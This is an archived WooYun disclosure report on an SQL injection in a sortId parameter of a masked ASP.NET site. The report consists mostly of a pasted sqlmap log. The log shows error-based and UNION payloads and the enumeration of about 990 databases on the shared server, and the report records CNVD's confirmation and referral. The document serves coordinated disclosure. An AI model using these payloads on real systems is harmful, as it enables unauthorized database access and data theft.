乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-30: 细节已通知厂商并且等待厂商处理中 2015-12-04: 厂商已经确认,细节仅向厂商公开 2015-12-14: 细节向核心白帽子及相关领域专家公开 2015-12-24: 细节向普通白帽子公开 2016-01-03: 细节向实习白帽子公开 2016-01-18: 细节向公众公开
rt
http://**.**.**.**/contact.aspx?sortId=30
http://**.**.**.**/show.aspx?cid=1150&sortId=58
sqlmap resumed the following injection point(s) from stored session:---Parameter: sortId (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: sortId=30 AND 4576=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4576=4576) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(98)+CHAR(113))) Type: UNION query Title: Generic UNION query (NULL) - 17 columns Payload: sortId=30 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(98)+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(90)+CHAR(66)+CHAR(113)+CHAR(114)+CHAR(119)+CHAR(100)+CHAR(109)+CHAR(106)+CHAR(73)+CHAR(67)+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(98)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-----[11:39:25] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft SQL Server 2000[11:39:25] [INFO] fetching database names[11:39:26] [INFO] the SQL query used returns 990 entriesavailable databases [990]:[*] ludatv[*] master[*] model[*] msdb[*] net0011828[*] net0017886[*] net0024900[*] net0028073[*] net0034720[*] net00397109[*] net0075921[*] net0091670[*] net0099717[*] net0108677[*] net0108703[*] net0111044[*] net0143388[*] net0162958[*] net0178248[*] net0181025[*] net0210618[*] net0221568[*] net02264391[*] net0264390[*] net0267299[*] net02757737[*] net0277292[*] net0277773[*] net0282199[*] net0295893[*] net0298205[*] net0298908[*] net0314997[*] net0352821[*] net0354314[*] net0356372[*] net0362455[*] net03705354[*] net0383379[*] net0393394[*] net0396167[*] net0396873[*] net0403516[*] net0405302[*] net0416770[*] net0445192[*] net0453453[*] net04602512[*] net0481206[*] net0484364[*] net0489282[*] net0494267[*] net0500841[*] net0501386[*] net0526098[*] net0528181[*] net0531900[*] net0575267[*] net0596294[*] net0609984[*] net0621701[*] net0639452[*] net0645795[*] net0667893[*] net0674752[*] net0679100[*] net0707892[*] net0712933[*] net0721019[*] net0749312[*] net0775189[*] net0779351[*] net0792963[*] net0795451[*] net0821952[*] net0834205[*] net0842100[*] net0850246[*] net0860502[*] net0872765[*] net0885641[*] net0897907[*] net0909606[*] net0921385[*] net0931481[*] net0963090[*] net0974527[*] net0978607[*] net0979125[*] net0984459[*] net1000755[*] net1018073[*] net1036508[*] net1055765[*] net1084572[*] net1087379[*] net1106452[*] net11325932[*] net1151328[*] net1162142[*] net11649461[*] net11659193[*] net1182906[*] net1190617[*] net1197122[*] net1211101[*] net1222556[*] net1244992[*] net1247003[*] net1253220[*] net1265991[*] net12854775[*] net1289532[*] net1317254[*] net1320099[*] net1346549[*] net1365795[*] net13717326[*] net1376588[*] net13796080[*] net1400512[*] net1417775[*] net1420227[*] net1437393[*] net1480836[*] net1486353[*] net1486595[*] net1496268[*] net1497011[*] net1510061[*] net1511199[*] net1519619[*] net15281463[*] net15395743[*] net1544030[*] net1548844[*] net1564199[*] net1601502[*] net1616384[*] net1622264[*] net1638655[*] net1642713[*] net1643710[*] net1687578[*] net1690626[*] net1693433[*] net1706247[*] net1713841[*] net1715649[*] net1716624[*] net1720396[*] net1727825[*] net1731040[*] net1744344[*] net1754621[*] net1757049[*] net1758743[*] net1760593[*] net1767007[*] net1779637[*] net1845366[*] net1848350[*] net18567962[*] net1870967[*] net1885497[*] net1905376[*] net1918257[*] net1921644[*] net1941695[*] net1941969[*] net1945488[*] net19479412[*] net1960418[*] net1962395[*] net1968478[*] net1972177[*] net1978385[*] net19785999[*] net2029965[*] net2041725[*] net2047585[*] net2055978[*] net2059346[*] net2069587[*] net2071614[*] net2103654[*] net21405726[*] net2157239[*] net2167632[*] net2176987[*] net2189737[*] net2206763[*] net2212041[*] net2224947[*] net2225855[*] net2236510[*] net22481662[*] net2263663[*] net2270113[*] net22852210[*] net2322053[*] net2322462[*] net2333907[*] net23347939[*] net2346126[*] net23478767[*] net2354447[*] net2358813[*] net2362416[*] net2363645[*] net2366854[*] net2371365[*] net2379778[*] net2401699[*] net2403339[*] net2404880[*] net2405780[*] net2453845[*] net2465105[*] net2474090[*] net2477691[*] net2508007[*] net2510221[*] net2518183[*] net2530981[*] net2532379[*] net2545262[*] net2550098[*] net2564007[*] net2599315[*] net2645499[*] net2712747[*] net2714727[*] net2716959[*] net2723519[*] net2733257[*] net2764809[*] net2772603[*] net2772786[*] net2778064[*] net2781936[*] net2784067[*] net2786605[*] net2801824[*] net2805625[*] net2822250[*] net2836899[*] net2862969[*] net2883742[*] net2900606[*] net2901845[*] net2903409[*] net2914410[*] net2918269[*] net2921204[*] net2927732[*] net2935447[*] net2951127[*] net29794924[*] net2995705[*] net3021295[*] net3030670[*] net3034856[*] net3035582[*] net3037225[*] net3064818[*] net3068840[*] net3071053[*] net3073606[*] net3090457[*] net3099842[*] net3101734[*] net3108179[*] net3109397[*] net3112218[*] net3116936[*] net3122168[*] net3129196[*] net3147149[*] net3157756[*] net31765274[*] net3187926[*] net3253109[*] net33072459[*] net3310596[*] net3347696[*] net3354781[*] net3355117[*] net3356149[*] net3359371[*] net3364020[*] net3370173[*] net3408472[*] net3457805[*] net3465154[*] net3469649[*] net3475052[*] net3476993[*] net3477526[*] net3479627[*] net3503592[*] net3506841[*] net3510139[*] net3529075[*] net3530293[*] net35416443[*] net3542007[*] net3545509[*] net3558057[*] net3561576[*] net35690467[*] net3582910[*] net3601391[*] net3616630[*] net3620655[*] net3633950[*] net3645346[*] net3647463[*] net3647840[*] net36490939[*] net3667747[*] net3689475[*] net3690207[*] net3708803[*] net3729741[*] net3743184[*] net3745116[*] net3755137[*] net3756244[*] net3760871[*] net3786287[*] net37939637[*] net3794167[*] net3800867[*] net3805490[*] net3815175[*] net3821944[*] net3823454[*] net3827244[*] net3839684[*] net3840318[*] net3841608[*] net3855927[*] net3865338[*] net3869842[*] net3895568[*] net3902935[*] net3905909[*] net3908368[*] net3909628[*] net3918242[*] net3931970[*] net3940128[*] net3961107[*] net3961856[*] net3968278[*] net3972005[*] net3977432[*] net3978900[*] net3990438[*] net4001100[*] net4017561[*] net4032015[*] net4032732[*] net4047071[*] net40478610[*] net4053360[*] net40648864[*] net4094086[*] net4095823[*] net4102369[*] net4108356[*] net4108517[*] net4114143[*] net4120947[*] net4141829[*] net4143810[*] net4152731[*] net4166054[*] net4213791[*] net4214732[*] net4230851[*] net4236558[*] net4238495[*] net4239862[*] net4287012[*] net4302194[*] net4303072[*] net4306746[*] net4310411[*] net4310539[*] net4321038[*] net4338119[*] net4340222[*] net4346645[*] net4358068[*] net4358823[*] net4363043[*] net4368738[*] net4372096[*] net4379628[*] net4404187[*] net4441682[*] net4453522[*] net4461648[*] net4467197[*] net44707166[*] net4480433[*] net4528023[*] net4533042[*] net45337326[*] net4541012[*] net4547209[*] net4581933[*] net4587703[*] net4609221[*] net4610201[*] net4614623[*] net4616014[*] net4620197[*] net4631890[*] net4636269[*] net4654024[*] net4656622[*] net4659097[*] net4659249[*] net4663133[*] net4670778[*] net4673606[*] net4674904[*] net4692463[*] net46941821[*] net4694541[*] net4730384[*] net4739210[*] net4759248[*] net4763610[*] net4774795[*] net4783530[*] net4791127[*] net4792861[*] net4811547[*] net4832604[*] net4842541[*] net4845581[*] net4883346[*] net4893754[*] net4904567[*] net4909183[*] net4933190[*] net4945460[*] net4955588[*] net4959672[*] net4980676[*] net4988391[*] net4996287[*] net5000478[*] net5006266[*] net5035900[*] net5037053[*] net5044901[*] net5056297[*] net5078383[*] net5115095[*] net5131675[*] net5142431[*] net5147036[*] net5162472[*] net5181096[*] net5185870[*] net5193018[*] net5199010[*] net5199284[*] net5201593[*] net52055340[*] net5207943[*] net5208159[*] net5210034[*] net5214123[*] net5226938[*] net5234666[*] net52422606[*] net5253130[*] net52579699[*] net5258901[*] net5262974[*] net5274414[*] net5277796[*] net5278671[*] net5279649[*] net5289279[*] net5295794[*] net5309791[*] net5312781[*] net5313825[*] net5337327[*] net5353901[*] net5377233[*] net5394101[*] net5400446[*] net5402687[*] net5408974[*] net5415528[*] net5437412[*] net5443655[*] net5444254[*] net5450446[*] net5451964[*] net5454541[*] net54663363[*] net5476844[*] net5490251[*] net5510274[*] net55135073[*] net5542788[*] net5571233[*] net5578276[*] net5585741[*] net5586442[*] net5590341[*] net5609496[*] net5611525[*] net5612098[*] net5619834[*] net5639610[*] net5643794[*] net5650296[*] net5651016[*] net5685734[*] net5690439[*] net5727988[*] net5740438[*] net5756440[*] net5766247[*] net5769565[*] net5780581[*] net5785604[*] net5794751[*] net5797122[*] net58073221[*] net58234065[*] net5828819[*] net5843677[*] net5848179[*] net5853853[*] net5854435[*] net5862857[*] net5871541[*] net5872135[*] net5899109[*] net5937496[*] net5948075[*] net5953035[*] net5962073[*] net5974093[*] net5975644[*] net5976561[*] net5998950[*] net6003320[*] net6026070[*] net6031503[*] net6037376[*] net6040620[*] net6059647[*] net6067556[*] net6067778[*] net6067972[*] net6094487[*] net6107080[*] net61112858[*] net6122151[*] net6126609[*] net6138569[*] net6144388[*] net6146983[*] net6147659[*] net61520341[*] net6152273[*] net6171939[*] net62037723[*] net6204274[*] net6204623[*] net6205834[*] net6224760[*] net62264712[*] net6239382[*] net6245284[*] net6246582[*] net6253129[*] net6261377[*] net6296320[*] net63122159[*] net6315475[*] net6315874[*] net6322569[*] net6355287[*] net6358404[*] net6359671[*] net6363082[*] net6372015[*] net6396122[*] net6396820[*] net6397376[*] net6399254[*] net6406278[*] net6420872[*] net6428960[*] net6455043[*] net64675828[*] net6469075[*] net6491723[*] net6493564[*] net6497043[*] net6502251[*] net65043055[*] net6509085[*] net6515094[*] net6529178[*] net6554901[*] net6560469[*] net6575781[*] net6583236[*] net6585387[*] net6600832[*] net6605273[*] net6607937[*] net6609561[*] net6646542[*] net6651153[*] net6651439[*] net66534253[*] net6657812[*] net6662288[*] net6668778[*] net6682754[*] net6697696[*] net6709980[*] net67336947[*] net6755204[*] net6757626[*] net6768069[*] net6770274[*] net6772500[*] net6773623[*] net6785560[*] net6791367[*] net6802973[*] net6808185[*] net6808821[*] net6815911[*] net6839794[*] net6841122[*] net6844396[*] net6873343[*] net68773055[*] net6883122[*] net6913741[*] net6918617[*] net6936192[*] net6937861[*] net6947376[*] net6949414[*] net6965513[*] net6969819[*] net6985447[*] net6991354[*] net69974951[*] net6997946[*] net70132180[*] net7024931[*] net7031170[*] net7037110[*] net7042363[*] net7044880[*] net7045883[*] net7060258[*] net7062698[*] net7063503[*] net7079654[*] net70806536[*] net7100760[*] net7102304[*] net7110641[*] net7112515[*] net7134199[*] net7153458[*] net7155032[*] net7177472[*] net7186895[*] net7193800[*] net7207647[*] net7209602[*] net7219585[*] net7226857[*] net7245423[*] net7254693[*] net7278564[*] net7279594[*] net7283822[*] net7297633[*] net7307111[*] net7310744[*] net73110571[*] net7320218[*] net7326525[*] net7327620[*] net7331653[*] net73378041[*] net7340665[*] net7360409[*] net7379142[*] net7379699[*] net7384853[*] net7398800[*] net7410930[*] net7418070[*] net7418215[*] net7436762[*] net74386258[*] net7444472[*] net7445007[*] net7452578[*] net7475248[*] net7477235[*] net7481888[*] net7490299[*] net7491122[*] net7506817[*] net7512205[*] net7536162[*] net7540163[*] net7540216[*] net7552018[*] net7553514[*] net7553636[*] net7565471[*] net7568727[*] net7575957[*] net7579402[*] net7580431[*] net7581428[*] net7581515[*] net7622585[*] net7622724[*] net7632551[*] net7651017[*] net7651773[*] net7654170[*] net7664185[*] net76768182[*] net7697484[*] net7704988[*] net7726778[*] net7729868[*] net7729963[*] net77338975[*] net7735467[*] net7744340[*] net77763734[*] net7780230[*] net7792644[*] net7800787[*] net78076208[*] net7816062[*] net7819197[*] net7831249[*] net7831285[*] net78355427[*] net7839872[*] net7892569[*] net7898095[*] net79196374[*] net79203905[*] net7921259[*] net7933004[*] net7938755[*] net7944235[*] net7944552[*] net7959431[*] net7970871[*] net7985707[*] net7999362[*] net80034750[*] net8007749[*] net8026564[*] net8054532[*] net80617206[*] net8062794[*] net80715757[*] net8083355[*] net8097539[*] net8097584[*] net8103878[*] net8115823[*] net8122011[*] net8134683[*] net81373177[*] net8155332[*] net8170654[*] net8175282[*] net8178153[*] net8179744[*] net8183552[*] net8188468[*] net81886856[*] net82118237[*] net8221505[*] net8248885[*] net8256448[*] net8279570[*] net8281802[*] net8305381[*] net8332096[*] net8348572[*] net8351317[*] net8376929[*] net8382746[*] net8397657[*] net8405289[*] net8432762[*] net8434506[*] net8437577[*] net8441596[*] net8473072[*] net8485631[*] net8490588[*] net8495558[*] net8511465[*] net8511677[*] net85171956[*] net8522085[*] net8537435[*] net8539731[*] net8542128[*] net8542899[*] net8550530[*] net8557012[*] net8560722[*] net8591874[*] net8593229[*] net8595502[*] net8614106[*] net8630222[*] net8647129[*] net8664056[*] net8670997[*] net8680325[*] net8684380[*] net8711721[*] net8728047[*] net8765170[*] net8765909[*] net8789856[*] net8812506[*] net8813131[*] net8826507[*] net8826516[*] net88329180[*] net8835073[*] net8839629[*] net8869054[*] net8874542[*] net8876512[*] net8899070[*] net89121170[*] net8926292[*] net8942236[*] net8945486[*] net8948189[*] net89601005[*] net8962783[*] net8968643[*] net8971239[*] net8977028[*] net8978800[*] net8996088[*] net8998680[*] net9003045[*] net9027146[*] net9032131[*] net90329987[*] net9037062[*] net9039361[*] net9041607[*] net9054647[*] net9067914[*] net9069214[*] net9104800[*] net9108325[*] net9110435[*] net9131642[*] net9133930[*] net9166938[*] net9169216[*] net9175822[*] net9198560[*] net92366305[*] net9241158[*] net9241932[*] net9273439[*] net9320215[*] net9338987[*] net9349595[*] net9358978[*] net9360887[*] net93661977[*] net9393199[*] net9395963[*] net9422100[*] net9436120[*] net9441525[*] net9457829[*] net9465009[*] net9481175[*] net9484562[*] net9491744[*] net9506397[*] net95102120[*] net9516070[*] net9524484[*] net9524984[*] net9542438[*] net9543106[*] net9544097[*] net9554228[*] net9556945[*] net9574833[*] net95771086[*] net9580350[*] net9580448[*] net9582518[*] net9583538[*] net9588683[*] net9624437[*] net96382246[*] net9645231[*] net9647847[*] net9649887[*] net9672454[*] net9683085[*] net9683540[*] net9695714[*] net9696249[*] net9700336[*] net9704024[*] net9708386[*] net97098304[*] net9719078[*] net9727915[*] net97337117[*] net9734828[*] net9766233[*] net9768319[*] net9793056[*] net9795799[*] net9797958[*] net9824514[*] net9829010[*] net9830679[*] net9869239[*] net9870269[*] net9874300[*] net9895360[*] net9897627[*] net9913515[*] net9926270[*] net9943477[*] net9947888[*] net9957793[*] net9961157[*] net9978810[*] net9981058[*] net9981109[*] net9984210[*] Northwind[*] pubs[*] tempdb[*] test999933[*] web1833996[*] web22367[*] web228634[*] web233813[*] web332108[*] web368601[*] web828818[*] www_365110_com[*] www_gingko_cn[*] www_glass1688_com[*] www_sciphar_com[*] www_shibaili_com
危害等级:高
漏洞Rank:10
确认时间:2015-12-04 10:35
CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给陕西分中心,由陕西分中心后续协调网站管理单位处置。
暂无